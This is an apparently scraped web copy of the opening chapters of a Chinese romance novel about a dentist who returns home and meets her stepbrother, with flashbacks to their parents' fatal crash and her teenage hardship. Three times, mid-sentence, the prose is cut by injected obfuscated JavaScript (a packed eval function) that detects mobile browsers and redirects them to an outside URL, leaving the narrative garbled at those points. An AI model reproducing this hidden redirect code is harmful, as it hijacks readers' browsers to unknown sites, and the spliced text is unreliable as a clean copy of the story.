《妹妹,但想当嫂子》 1. 再遇 4D 妹妹,但想当嫂子/携湫 2025.7.26 晋江文学城首发 - 2024开春,青市重新泛起绿。 “刚回来就上班?不是让你休息几天吗。” 蓝柯时差还没调好,今天差点迟到,等着急忙慌进了电梯,身旁突然一道熟悉的女音。 偏头认出是史倩,她一愣,嘴角随即噙起笑,“没事,闲着也是闲着。” 史倩是她大学时候的学姐,回国后就跟朋友合资,在这边开了家私立的口腔医院。 新医院急招人,蓝柯就是被她摇回来的。 思及此,史倩笑了下,拿胳膊肘杵她,话里带着点戏谑,“那你可真是有福了,今天正好有公司来集体体检。” 反应过来这话里的潜台词,蓝柯摇头,佯怒道:“你不会算准了我今天能来上班吧?” 那当然。 假模假样拍了拍蓝柯的背,史倩安慰,“没事儿!今天忙完请你吃饭,就当接风洗尘。” “不过说来也奇怪,本来这种好事儿轮不上咱的,不过对面老板一听我是哪大学的,立马就拍板了。” 合作意向这种事蓝柯猜不透,也就没多接话,只顺杆爬夸了句史倩有专业魅力。 “少拍我马屁啊。”推了蓝柯一下,史倩手指向斜对面,“去吧,进门第一个位是你的,白大褂也在边上挂着。” 办公室估计是新划出来的,里面就她一个人。 换好衣服,蓝柯走到墙边把窗户打开透气,往外望,早高峰路上依旧人来人往,挤得全是车。 青市的变化好像大又不大。 路况依旧,但今早打车,她看地图才发现之前没地铁的地方已经全通了。 到口腔检查室要拐个弯,推门进去,看一个年轻女孩在里面检查器械,蓝柯打了声招呼。 女孩反应了两秒,随后立马点头,“你好!是史倩姐说的…蓝医生吧?我是您助手,叫林雅。” “你好你好。”简单聊了两句,看时间差不多,蓝柯开电脑看了下资料。 听史倩说这个公司人不少,分批次也要两三天,不过体检项目一般不算复杂,主要是口腔健康,跟林雅交代完,她穿好衣服接诊。 上午人不少,两人一直忙到快一点才吃饭。 “天,好累,我还以为这几天能轻松点。”林雅靠沙发上抻了抻脖子,等缓过来劲才弯腰把餐盖打开。 “确实。”闭了闭发胀的眼,蓝柯捶着背附和,“早知道我就晚两天来了。” 在那边辞完职,她是歇了一两个月才回国的,这次猛地一忙,实在有点受不了,腰疼脖子疼。 埋头吃了两口菜,蓝柯像是突然想到什么,耷拉着眼往林雅那边望,“下午,应该会好点吧?” 话落,回她的是两声轻笑。 林雅实在是没想到,新来的医生看着冷冷的,发怔时候呆到好笑。 “姐姐,不可能的,大公司最会压榨人了,日程表排得贼满。”气氛因为交谈活络起来,她说话也随意不少。 “这公司人这么多吗?”蓝柯好久没回来,不了解,就顺嘴问了句公司名。 “好像叫什么4DRealm吧,现在是做竞技游戏的,他们早年做休闲消消乐的时候我好像玩过。” 脑子里快速过了遍这个英文名,实在没印象,蓝柯就放弃了,重新低下头扒饭。 下午开始接诊,情况果真跟林雅预料得差不多,屋内屋外都人满为患。 快四点,陆续又检查了一批人后,蓝柯喉咙干得张不开嘴说话,就起身接了杯水。 热水哗哗往杯子里进,她回头看了眼门口,低低出声,“林雅,叫下一个人进来吧,叫什么名字?” “蓝羡之。” “什么?”话落,蓝柯握着杯柄的手轻晃了下,连带着自己讲话的尾音都有点不稳。 这问题也把林雅搞迷了,像是有点不解,她重新往电脑上扫了眼,随即重复,“蓝羡之啊。” 也是说完这句话,林雅才像是反应过来什么,摇头感叹,“不过蓝柯姐,你们一个姓欸,这么罕见的姓一天居然能遇到两个。” 脑子嗡了一声,瞬间袭来的空白感让她滞在原地。 蓝柯是等粉色马克杯里的水慢慢溢出来才回神的,缓缓倒掉了点,她紧好口罩,重新坐回位置上。 指尖在鼠标上轻点了两下,再抬头时,诊室门已经被推开。 映入眼帘的是个颀长身影,男人西装黑裤,气质好像也比之前沉稳不少。 按了泵消毒液搓手,蓝柯抬眼,语气公事公办,“姓名。” 没什么温度的女音回荡在诊室,可语毕那刻,蓝羡之懒散垂着的眼皮却突然掀起,两人的视线措不及防撞在空中,粘连一瞬,随即又同时收回。 蓝柯眼神定在单子上没再出声,过了两秒,一道不咸不淡的男音适时响起。 “蓝羡之。” 这话听得她喉咙眼发紧,捻着纸张核对了遍个人信息,蓝柯照旧提问,“有没有既往病史?” “没有。” “嗯。”又快速解释了遍流程,她让林雅调整好牙椅的高度光源,开始检查。 白炽光打下,蓝羡之的鼻梁痣比往常更明显,视线掠过那刻痣,她眼神一闪,突然想起那个地方自己偷亲过。 不动声色把注意力移回蓝羡之嘴上,她仔细检查了遍口唇颌面,十几分钟后,几项常规检查做完,蓝柯让人下来。 “牙周状况不错,但牙齿有点敏感,后续注意定期检查。”鼠标键上下滑动,她盯着片子出声。 鼻息间全是熟悉的薄荷味,闻得她呼吸不过来,以为蓝羡之要走,蓝柯下意识松了松口罩。 可刚抬头,自己就撞进了一道熟悉的目光里。 她有些错愕,蓝羡之倒没在乎,眼神淡淡移开,定到她桌边的马克杯上,等细瞧完,才缓缓出声,“后续检查要联系谁?” “这上面的电话就行。”弯腰,蓝柯从抽屉里找了张名片出来。 顺着她的动作把名片拿起,他仔细端详。 【爱齿口腔医院:史倩】 后面还跟着一串电话,明显不是她的。 绷着的下颌线微微抽动,下一秒,蓝羡之从唇齿间溢出一声轻笑,随后就揣着东西走了。 视线微不可查地停在门口几秒,蓝柯旋即收回,把手掌覆在马克杯上。 感受着指尖的温热,她轻轻吐出一口浊气,4DRealm、4DRealm,不就是第四维度吗,自己够笨的。 “林雅,叫下一个人进来吧。” 蓝羡之后面还排了十多个人,一个个检查完,已经七点多了,看手机想起跟史倩约的饭,蓝柯换好衣服从办公室出来。 医院走廊狭长,刚准备往前走,她就在廊道尽头看见挨在一起的一男一女。 男人侧头听着身旁人讲话,白色衬衫堪堪解了两颗扣子,西装外套也被随意勾在小臂上,只花了两秒,蓝柯就认出来是谁。 抬起的脚步顿住,她下意识想转身,却发现自己站在一条单行道上,后面是墙。 算了,轻叹了口气,蓝柯恢复以往的神色,重新迈开步子向前。 一步。 两步。 三步。 …… 百无聊赖数着数,她想让自己自然点,渐渐的,两人距离越来越近,他的身影也越来越清晰。 正准备当作没看见继续往前走,倏地,一道低哑的男声打破滞涩,“跑什么?” 与此同时,自己的手腕陡然被人抓住,像是指甲在毛玻璃上刮了下一样,蓝柯身体一抖,瞬间怔在原地。 回头,蓝羡之正盯着自己。 这眼神太熟悉,跟高中时候她考差藏卷子被他发现似的,规劝、严苛,却又带着点没办法的无可奈何。 但蓝柯现在不会下意识敛眉低头了,她对上他眼,仔仔细细地看。 刚诊室匆匆一瞥没认真瞧,她现在才发现蓝羡之变化不小,之前他只比她高出一个头,现在不止了,好像也瘦了点,眉眼间成熟不少,就是压着眼的时候还有点混。 “认识?” 脑子里杂七杂八的想法一堆,思绪纷繁时,蓝羡之身旁的女人率先打破沉默。 “我妹。”扫了蓝柯一眼,蓝羡之答她,语气闲闲的,听不出什么情绪。 可女人听完,倒是挑眉笑了,盯着他调侃,“喔,挺好,不过……不过你们长得不像,一个像爸爸,一个像妈妈?” 话音落下,兄妹两人默契地都没回应,只笑了笑。 下一秒,感觉到自己手腕上的力道一紧,蓝柯本能想挣开,可在要脱离掌控的那瞬,自己又被反握住。 视线顺着他手臂往上,蓝羡之朝女人点了点头,手指前方,“段悦,下次再聊,我先带她走了。” - 咖啡厅靠窗处,光影往里钻。 点单间隙,蓝柯抽空给史倩发了条消息,【我现在有点事,过会儿去找你。】 大概看出她什么意思,蓝羡之出声,“待会儿有事?” “嗯,约了人吃饭。” “什么时候回来的?” “昨天。” 他们是兄妹,与生俱来的熟稔是别人无法比拟的,无论多少年不见,都不需要面对面坐着先寒暄。 蓝羡之也深知这个道理,这会语气不善,指尖时不时点着桌子,像质问,“这么没良心?回来连招呼都不跟我打。” 说着,他玩味扯唇,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198013|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越想越生气,“在医院都会装不认识了。” “没有,那不是在医院吗。”蓝柯撑着脸,下意识反驳,但想起刚走廊的事儿,还是话里带刺,“但我总不能逢人就说你是我哥吧。” 本身就是揶揄,这会听出蓝柯语气里没由来的怨怼,蓝羡之收了收,正经问道:“那行李呢,今晚我帮你搬家里去。” “还在酒店,不折腾了吧,我找到房子直接把东西搬过去。”她不时搅着咖啡,回答问题也有点心不在焉。 “那今晚先回家住,等房子找好了再搬出去。” “真不用,”蓝柯抬眼看着他,轻声解释,“麻烦,而且我都二十多了,怎么能还跟你一起住,多影响你找对象。” 搭在桌上的指尖一顿,蓝羡之活跃着气氛开玩笑,“我是你哥,有什么不能。” 等了会,看蓝柯不理他,蓝羡之顿了两秒,终于认真回,“我现在没对象,以后也不准备找。” “为什么?” “我们家什么样你不知道?少去祸害别人最好。” 话一出,蓝柯连捏着杯柄的力气都重不少,她最烦他这么说,索性抬起头,梗着脖子发问,“我们家什么样?” 蓝羡之沉默了。 两人就这么怪异僵持着,像是中间隔了条橡皮筋,你弹一下我弹一下,彼此都收着劲,生怕皮筋崩。 不知道过了多久,蓝羡之率先妥协,“我出去,你回家住,这样总行了吧?” 先不说蓝柯刚回来,算半个人生地不熟,现在酒店也没那么安全了,她一个人住他也怕出事。 可惜蓝柯没想到这一层。 她现在一口气堵在喉头,闷得难受,索性从包里拿出一张银行卡,微微扬起脸庞。 “哥,里面的钱是我读书时候攒的,这次回来我没想打扰你,你好好过日子吧。” 干脆利落地服务员结完账,蓝柯起身,作势要走。 可正要开口说再见,耳边突然传来道叹气声,再抬头,蓝羡之也站起来了,他揉了揉眉头,低声问,“约的在哪吃饭?我送你过去。” 史倩发的地方离医院挺近的,走两步就到,蓝柯本想拒绝,但看他已经穿好衣服起身,她一句不用又重新咽回去。 “走吧。”离得近,蓝羡之就没开车,就这么亦步亦趋跟在他身后,蓝柯突然有点恍惚。 也对回来多了点实感。 史倩找的是家青城特色的石锅鱼店,因为在老城区,楼房弯弯绕绕缠成一块,找店面都有点费劲。 刚进门,史倩朝她挥手,“事情解决了?” 蓝柯把大衣脱掉,弯了弯唇在她对面落座,“没有,就是遇到了个…熟人。” 锅里沸腾着,水咕噜咕噜冒泡,史倩夹了两块鱼肉,介绍,“这家鱼提前炸过一遍再煮的,味道不错,尝尝?” 嗯了声,她拿起筷子,正要尝,手机突然弹出消息,【不想回家就不回,晚上到酒店了给我报个平安。】 盯着微信界面备注的“哥”,蓝柯突然有点怔愣,出国后,除了逢年过节几句祝福,他们很少聊天。 想起刚才站在街边的身影,怕蓝羡之担心,她回了个好。 放下手机,史倩瞟了她一眼,话里带笑,“说说吧,怎么突然就想回来了?我去年问你不还拒绝了吗?” “不知道,想回了,就回来了。”刚从锅里捞出来的鱼肉烫嘴,蓝柯吹了吹放进嘴里,外酥里嫩,味道是还不错。 没想到是这个原因,史倩扬了扬眉梢。 知道蓝柯不怎么喝酒,她就让老板上了点鲜啤,跟人碰杯,“行,那不管什么原因,都欢迎你回来!” 史倩在兴头上,她也不扫兴,就嘴角牵笑一直陪她喝。 其实史倩酒量不怎么好,但就是爱喝,到中间蓝柯清醒过来劝,她也不听。 最后一顿饭下来,等蓝柯结账出去的时候,史倩整张脸通红。 有点不放心,她帮忙拎着包想送她回去,可没走两步,自己就被拦住。 “就这几杯没事,你自己快走吧!” 说是这么说,但蓝柯还是等史倩上了出租,才放心回去收拾东西。 推门出去,刚站定,风就咣当一声吹得玻璃门重新关上。 经这一吹,蓝柯酒气也散差不多了,彻底清醒过来,她裹紧黑色大衣慢慢下台阶。 今天第一天上班,想着去医院还要换,蓝柯就图个仪式感穿了双新高跟鞋,现在衣摆下露出的半截小腿光洁纤细,还有点骨感。 晚上风大,她双手捂紧哈了口气,视线随着打弯的发丝往前飘,慢慢的,目光所及处看到了一截黑。 再走近,发现那个熟悉的身影站在门口,蓝柯几乎是下意识出声。 “哥,你怎么在这儿?” 2. 虚飘 “天气预报说今天有雨,怕你没带伞,就在外面等了会儿。” “下雨我会打车的……”她跟史倩吃完饭时已经九点多了,想起发那条消息的时间,蓝柯抿了抿唇,不知道该说什么。 脑子胡思乱想着,还是等冰凉的雨滴砸在手上,她才猛地清醒过来。 望了眼天,她笑天气预报第一次准。 “这边不让停车,还要走一段。”蓝羡之撑开伞把她往怀里拉了拉,边走边把伞往一遍斜。 两人都不是没话找话的人,一路无言,直到回了酒店。 看了眼时间,蓝羡之把银行卡塞回蓝柯口袋,交代,“银行卡我用不着,你拿着吧,我走了。” 刚一直没往他身上撇,现在抬眼,蓝柯才发现蓝羡之身上淋湿不少。 指尖硌在银行卡边上,她犹豫了下,最后还是叫住要转身的人,“哥,你头发湿了,上来吹一下吧,别感冒了。” 昨天回来还没来得及收拾,蓝柯把行李箱合上,又腾了腾沙发,听到吹风机在浴室呼呼作响,她朝里面望了眼,最后倒在床上发呆。 一分钟后,床头充电的手机嗡声,夺过她的注意力,以为是自己的,蓝柯起身看了眼,这才发现机型不对。 【我这边有点事,有时间来趟吗?】 备注段悦,匆匆扫了一眼,她无声收回视线。 虽然没怎么被淋到,但发尾还是有点湿,现在脱了外套,头发贴在内搭上,她浑身难受,涩到不行。 过了会儿,见人从浴室出来,蓝柯也进去拿了条毛巾擦头发。 再出来,蓝羡之已经穿好外套准备走了,两人在门口撞上,他顺带嘱咐,“我还有事,先走了,早点睡。” 话落那刻,蓝柯绕发尾的动作顿住,懒懒嗯了声,盯着人出去。 昨天飞了十几个小时才落地,今事又多,蹲下打开行李箱,蓝柯本想找件睡衣早点洗澡,但看着最下面盖着的一沓照片,还是没忍住把它们拿出来。 五年攒下来的照片不少,细细看了遍,蓝柯把照片重新放回行李箱深处,最后拿了张最光明正大相框摆在床头。 是她当年走的时候跟蓝羡之拍的。 照片里两人笑得都不算开心,盯着那个熟悉的身影看了半晌,蓝柯抱着衣服进浴室洗澡。 晚上躺在床上,她眼睛都累得睁不开了,但依旧睡不着。 外面雨下了多久蓝柯不知道,但屋里湿气是挺重的,让她觉得呼吸苦难。 像是被潮到骨头都湿了,蓝柯重新翻了个身,在被窝里蜷缩得更紧。 可越抱着膀子,她越恍惚,慢慢的,蓝柯觉得自己身上又没了肉,重新变回来少女时代那副干柴的枯草样。 2013夏,蓝柯刚期末考完。 当时蓝程朗孟忍冬半路遇到车祸,进了抢救室。 医院灯光惨白,混着消毒水味,她蹲在手术室外面等结果,心悸又恶心想吐。 医生说了,她爸妈两个人情况都不太乐观,让自己尽快通知家里的大人。 蓝柯谁都不认识,但又太害怕,只好哆嗦着手把电话打到了继兄头上。 她妈跟蓝程朗结婚那年赶上蓝羡之高中,他在寄宿学校,两人一年说不了几句话,关系不怎么好。 但蓝柯想,就算孟忍冬不是他亲妈,蓝程朗是也他亲老子,这通电话他不可能不接。 可一连打了好几个电话过去,只有一个接通,闹哄哄几秒,那边立马挂掉。 直到签完死亡证明,蓝羡之才迟迟赶来。 “自己看!”肚子里憋着一股气,等把手里签完的东西一股脑甩到面前人身上,她狂奔出医院。 潮天湿地,蓝柯无处可躲,只好拼命往前跑。 雨噼里啪啦打在身上,重得像是她亲爹拿烟灰缸刚自己身上砸,骂她是个扫把星。 不对,也可能在拿笤帚棍抽,说她不够丢人钱。 蓝柯跑得眼睛又红了,但她现在脸上只有水,分不清是什么水。 理智被炸得七零八落,她跑累了想停,但又害怕停了想得更多,只好死撑着劲往前奔。 路边的树一帧帧往后倒,视线也逐渐模糊,直到全身无力时,蓝柯才心慌地定在原地,眼泪也忍不住往地上滚。 她这会大脑充血,明明浑身的血都在一股脑往上冲,但蓝柯却只觉得雨水在顺着自己的身体往下淌。 不知道过了多久,她咬紧嘴唇,撑着腿抬头。 蓦地,一道白光闪过。 白炽灯刺眼,等再辨清眼前的路,她被人死拽着拎到一边,耳边也响起一道冷硬的声音。 “想死滚回去找个体面死法。” 脑子一团乱,雨也把蓝柯的脸糊住,她抬手抹了把眼睛上的水,试图分辨出面前站着的人。 过了会,她看清了,是蓝羡之。 想起刚才那些打不通的电话,蓝柯冷笑两声,甩开他的手,转头就要往马路对面走。 可步子还没抬起,她再次被蓝羡之的手拽住。 “我说了,想死去医院边上死,在这我还要来收.尸。” “你凭什么说我?”使出吃奶的力去挣蓝羡之,没挣开,蓝柯就瞪着眼去推他。 到最后,两人都被雨淋得不像样。 蓝羡之先受不了了,抬起手去禁锢住她小臂,讥诮道:“想打我就别抖,害怕成这样,真是跟你妈一样。” “对,我不像你,亲爸死都不来,谁能比得了你——” 蓝羡之没理她,也没再让她往下说,只拽着蓝柯胳膊就往前走。 被抓得太狠,她手肘火辣辣疼,推搡着想逃脱蓝羡之,可男女力量悬殊,蓝柯没办法,只好一路收着脾性被迫往前。 今晚这场雨下得要浇死人,而蓝柯的怨气、眼泪、悲伤也都因为被蓝羡之暴力堵住而终结。 折腾半天,两人回家时已经是深夜。 开门直奔浴室,蓝羡之把架子上的毛巾扯下扔到她怀里,警告,“头发擦干再睡,烧死了没人管你。” 那晚,蓝柯不知道是怎么睡着的,只知道自己眼睛很累。 蓝羡之隔日带她去挑了墓地,给孟忍冬蓝程朗下葬。 一整个下午,蓝柯见蓝羡之在墓园坐着,就跟着坐,见他要走,就又跟着他回家。 “蓝柯,你妈墓地钱是我掏的,怎么说也算仁慈义尽了,以后别跟着我。”离家还有一段路时,蓝羡之把人拦住。 话音落地,蓝柯在原地怔忪了两秒,随后又重新跟上去。 听着闷簌簌的脚步声渐近,蓝羡之也烦了,转身站定,他语气比刚才还要不客气,“还跟着我干什么?找你亲爸去。” “我没跟着你,我要回家。” 语毕,像是听到什么梦话,蓝羡之从嘴里恶劣吐出几个字,“蓝柯,我们两个既没血缘关系,又不在一个户口本上,算什么一家人?你别忘了我爸你妈都死了。” 蓝柯脸皮薄,听到这种羞辱人的话,耳根立马热起来,但她不敢走,只咬唇停在原地,一声不吭。 半晌过去,余光瞥见蓝羡之要走,她慌乱抬头,梗着脖子叫人,“我只想找个住的地方!你放心,回家之后,我…我什么都不会麻烦你……” 扭头,看见蓝柯眼泪滚滚落,蓝羡之抓了把头发,解释,“警察上午来找我了。” 说是在行车记录仪里发现,蓝程朗是在开车的时候跟孟忍冬吵架,最后情绪失控才撞上大货车的。 蓝程朗最近生意上出事,不光早年买的几套房,连他们现在住的房子都要被抵出去,孟忍冬也是知道了才跟他吵这么狠。 事情发酵到现在,蓝羡之实在不知道该说什么,只庆幸蓝程朗没留外债。 可蓝柯心却没这么大,事事能往最好处想,定在原地消化了几秒,她悻悻抬起头,脸色跟当初在手术室外一样惨白。 身体虚飘飘的,她现在一句话说不出,脑子里也只剩最后一个想法——不能去找她爸。 攥紧短袖衣摆,蓝柯扬起那张毫无血色的脸,出声求蓝羡之,“我什么都能干,哥…你要去哪?能不能带着我?” 一声哥让她喊得干巴生硬,让蓝羡之听得也别扭。 “我现在也什么都没,蓝柯,你爱去哪去哪,我再说一遍,别跟着我。”说完,他看了眼前面的路,拐道进了网吧。 天又要暗了,腥咸的海风一下下刮到脸上,把蓝柯的两条泪痕吹干,下睫毛也湿淋淋几簇粘在一起,糊得她看不清前面的路。 蓝柯最后还是支着两条腿回家了,她想睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198014|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪怕明天就可能被赶出来。 次日起来,趁房子还没被抵走,蓝柯翻箱倒柜把家里值钱的东西全当了,里里外外一共筹了两千。 她一年学杂费加住宿最少一千,撇了一千当学费,蓝柯把剩下的钱放手里重新数了一遍,剩一千三百四十。 开学起码还要两三个月,自己吃住就算再省,九月份估计也掏不起学校饭钱。 抹了把眼泪,蓝柯起了好几个大早去找工作,青市包吃住的活就那几样,无非是进厂,但她没成年。 花钱买了几箱牛奶饮料,蓝柯提着东西去磨服装厂的老人,最后终于让她绕过登记进了厂。 学徒进去,要么做衣服要么剪线头,但一天起码都要干十几个小时往上。 宿舍二三十平米的地方,用铁架搭两层大通铺,一间房能住十七八个人,哪怕晚上像捅了蚊子窝,蓝柯还是能累到倒头就睡。 就这么干了快一个月,她光洁的脸熬到焦黄,但好在也挣了七八百。 本以为日子能这么挨到开学,可连她自己都没料到,变故能来得如此之快。 跟人打架进警局时,蓝柯手里握着自己镯子上摔坏的铃铛,一言不发。 “居然还是个未成年,小孩乱进什么厂!” “家里没爹妈管啊!” 确实没爹妈,忽略掉女人的亢骂声,蓝柯默默附和。 刚才被推搡着撞到铁架,腿上火辣辣得疼,把镯子放到桌上,她卷起裤腿看了眼小腿,果然肿了。 调解室的吊扇还呼呼转圈,大夏天被吵得脑子发晕,蓝柯抬头迎着风口,准备降降火。 可惜,身旁的女音一如既往尖刻。 本来想着道个歉草草了事,但听见身旁人一点不退让,她没忍住反驳,“阿姨,别太过分了,是不是你先扒我东西的。” “我天!瞧瞧这牙尖嘴利的样,我那不是关心你吗?” 冷笑两声,蓝柯没再接话,放在几个月前,她可能这辈子都想不到,自己能跟牙尖嘴利扯上关系。 大通铺十几号人,一间总有几个嘴碎的,捞着个人就问东问西,蓝柯是来赚钱的,从来不搭这些腔。 这边环境差,她受不了旱厕、也受不了十几个人脱光挤一块洗澡,就宁愿绕远路去厂里收费洗澡的地儿。 结果每次回来被说穷讲究,蓝柯全把这些当耳旁风,直到今天下早班看到有人在床上扒她东西。 “把偷东西说成关心,真清新脱俗。”她床头的小东西天天少,蓝柯懒得说也就忍了,但今天要是没撞见,镯子估计也该不见了。 话说完,女人像是被踩到尾巴,声音更大了,闹着说自己刚被打了,要去医院拍片子,最后还是警察看僵持着解决不了问题,才让她联系家长。 “我爸妈没了。” 警察愣了瞬,又问,“那兄弟姐妹呢?” “也没。” “那你为什么打人?” 把手里捏着的碎铃铛摊开,她淡淡开口,“我妈送的镯子被她摔坏了,而且是她先推的我。” 蓝柯把胳膊伸出来,她手臂上的擦伤还留着一道道血痕没结痂。 可伤口刚露出来,那边坐着的女人立马也开始喊疼,说是被蓝柯推得头昏脑胀。 小腿淤青痛得厉害,她渐渐没了耐心,望向一旁无奈出声,“我说阿姨,你得了。” 蓝柯是典型的遮瞳,嘴角朝下,不笑的时候就显得很丧,用她亲爹的话说,就是长了张死人脸,现在半眯着眼坐在位置上,一动不动,更吓人了,像滩死水。 此话一出,女人像是抓住了什么把柄,桌子一拍,腾一下站起来,“你看看你看看!现在的小孩不讲理的紧!” “我不讲理还是小偷不讲理?”蓝柯彻底不想再忍了,原封不动把话还回去。 但刚要站起来跟警察掰扯清楚事,刹那间,结结实实的一巴掌突然呼到自己脸上。 半边脸火辣辣的疼,蓝柯也因为突然被推搡了下,整个人连椅子一块要往后倒。 身体惯往后仰的同时,反应过来是被谁打的,她肩膀一耸笑出声,准备自认倒霉。 可下一秒,自己不仅没像预料中倒地,身后反而多了双大手,“平时不是挺厉害的吗,现在不知道还手了?” 3. 毛刺 被稳稳扶住那刻,蓝柯头上的吊扇还在呼呼转。 脑子发懵,她反应了两秒怔怔偏头,在看到身后站着蓝羡之时,自己捏着碎铃铛的手一紧。 不知道是不是蓝羡之看着不好惹,他人一来,事情瞬间变得好调解起来,连刚张牙舞爪的中年妇女都收敛不少。 出警局后,蓝羡之带她去了自己住的地儿,上楼前,又拐到旁边药房买了两瓶碘伏。 临进门,看蓝柯愣在原地,他扭头,“不想进?” “想进。”折腾到现在,蓝柯已经没了余力再矜持,她不想回厂里,也想好好睡一觉。 头一次听蓝柯这么老实地说话,蓝羡之勾唇,拧开碘伏盖把棉签戳进去,等红药水浸透,他拉过她胳膊,一点点往擦伤的地方涂。 “嘶。”药刚抹上去,皮肤刺剌剌疼,蓝柯整个人倒吸一口凉气,下意识往后缩。 可后背刚靠到沙发上,她耳边突然传来一阵嗤笑,“知道疼还打架?” 懒得回答,蓝柯垂眼装死,等过了会,药上完,她才抬起头,试探般盯着身旁人,“你怎么知道我在哪?” “警察打电话。” 反应两秒,意识的是当初进厂填的家属联系方式,她一愣,突然有点庆幸当时记住了他号码。 蓝柯不是好歹不分的人,偏头对他说了句谢谢。 “你少出去惹事,就是对我最好的感谢。”破皮的地方处理完,正准备起身,蓝羡之才发现她小腿也青了一块。 把裤腿往上掀了点,他问,“怎么回事?” “撞到桌脚了。” “真行,打人也是什么都不看。” 跌打损伤碘伏治不了,想了下,蓝羡之起来,准备下楼买瓶红花油,可刚走两步,自己突然被一道虚飘的女音叫住。 “蓝羡之,我想睡觉。” 回头,蓝柯木然坐在沙发上,双眼说不出的疲惫呆滞,只空空望着远处。明明也就一个月不见,但她确实像变了个人,虽然之前蓝柯也瘦,但现在明显是脱相了,这会弓着腰,连身上宽大的白t都盖不住凸出的肩胛骨。 于是,不知道是怎么着,鬼使神差的,他把人拎到了自己床上。 蓝柯这一觉睡得太久,到隔天下午才醒,出来时客厅已经没人了,怔怔在沙发上坐了会,她迫使自己回神,去冰箱找了点东西煮面。 本来是有蓝羡之那份的,但她太饿,就把他那份也吃了,坐凳子上打了个饱嗝,蓝柯局促地看着空碗。 想了半天,洗完碗,她还是又煮了份面。 本想做点家务来回报昨晚的收留之恩,但四处扫了一圈,蓝羡之比她想象中爱干净得多,冰箱里连啤酒都是按高低排的。 把睡皱的床单重新铺平,蓝柯留了张纸条要走,厂里还有一堆烂摊子要收拾,而且,再不走就要舍不得了。 楼道没灯,从二楼摸黑往下,她一路悬着心怕摔,到楼底,看下面传来光亮,蓝柯松了口气想快点走,可刚走两步,自己手腕却突然被人扣住。 “去哪?” 被这突如其来的话吓了一激灵,蓝柯循着说话人往上看,在发现面前人是蓝羡之时,她提着的心放下,声若蚊喃地回了句要走。 “走去哪,回你那个老鼠都不去的宿舍?”特意咬重宿舍两个字,他顿了顿继续,“行,那下次少给我惹麻烦,也别留我手机号。” 说完,蓝羡之把路过买的红花油塞她手里,径直上了楼。 把书包扔沙发上,本想把今天辅导小孩的卷子批批,但余光瞟到桌上那碗面,他又把卷子折了回去。 挂面早坨了,蓝羡之挑起筷子吃了两口,收拾收拾回了床上睡觉,昨晚在沙发上凑合了一宿,浑身哪哪都疼,翻了个身,感觉到枕着枕头的半边脸湿湿的,他眉心一蹙,重新打开灯,这才发现枕头一角有一小片水渍。 “靠,”没忍住爆了句粗,蓝羡之找了件新枕套换上,又出去把脏了的扔到盆里。 卫生间一片黑,打开灯,他越搓越烦,最后索性把枕套重新扔回水里,自己抓着手机下了楼,“对不起,您拨打的电话暂时无人接通……” 太阳穴突突跳,蓝羡之刚要回警局去要那个智障服装厂的地址,身后突然有一道声音叫住他。 “你…你怎么下来了?” 回头,蓝柯双臂抱腿,一个人蜷在墙边,看到他人,她缓缓抬起眼,双唇翕动,连脸都被月光照得蜡白。 蓝羡之被这幕诡异的场景气笑,舔了舔嘴皮子不知道该说什么,最后憋半天,还是怒骂了句蓝柯是神经病。 拎着她上楼,蓝羡之拿钥匙打开杂物间的门,“看见边上的折叠床没,摊开去睡。” 他租的是一室一厅,剩下的只有杂物间能住,好在面积还行,加上里面没堆东西,放个小床进去还是绰绰有余。 柜子里没多出来的被子,蓝羡之索性把冬天盖的厚被子扒出来了,一股脑递给蓝柯,他交代,“盖完给我洗干净。”别又哭的这湿一片那湿一片。 其实夏天盖这被子是挺热的,但可能是房子朝阴凉块点,厚被子一半盖床上当垫被、一半盖身上刚好。 蓝柯睡得很香,准确来说,这两天在这边,是她暑假以来睡眠质量最好的两天,因为屋里干净没味,半夜没人打呼噜、也没大妈睡着睡着突然挤过来。 日子这么过着,他们都默契地没再提之前的事。蓝羡之白天大多数时候都不在家,两人只有晚上会坐一块吃饭,他嫌她做饭寡淡,基本家教完就会带两份饭回来。 餐桌前,蓝柯攥着筷子有点吃不下了,可又舍不得放手,虽然饥一顿饱一顿不好,但她实在害怕下一顿没得吃。 前两天抽空把厂里的行李拿过来了,就放在床边,本以为这样一来自己能更安稳点,但昨晚,蓝柯居然意外开始失眠,她总觉得自己像个不速之客,闯入了别人的家,生怕被赶出去。 一次性筷子握着还有毛刺,反反复复摩挲着扎人的地方,蓝柯心也越跳越快,最后,她抬头瞟了蓝羡之一眼,往桌上放了八百现金,“我能先住在这吗,我打听了,这边房租都是这个价。” 蓝羡之现在穿了件黑t,领口松松垮垮的弓着腰吃饭,听到话,他淡淡掀起眼皮,往桌上看了眼,没再说话。 这行为在蓝柯眼里自动解读为了钱不够,咬唇,她回房拿了张银行卡出来,“我还有两千,一千给你行吗,剩下的我还要交学费。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 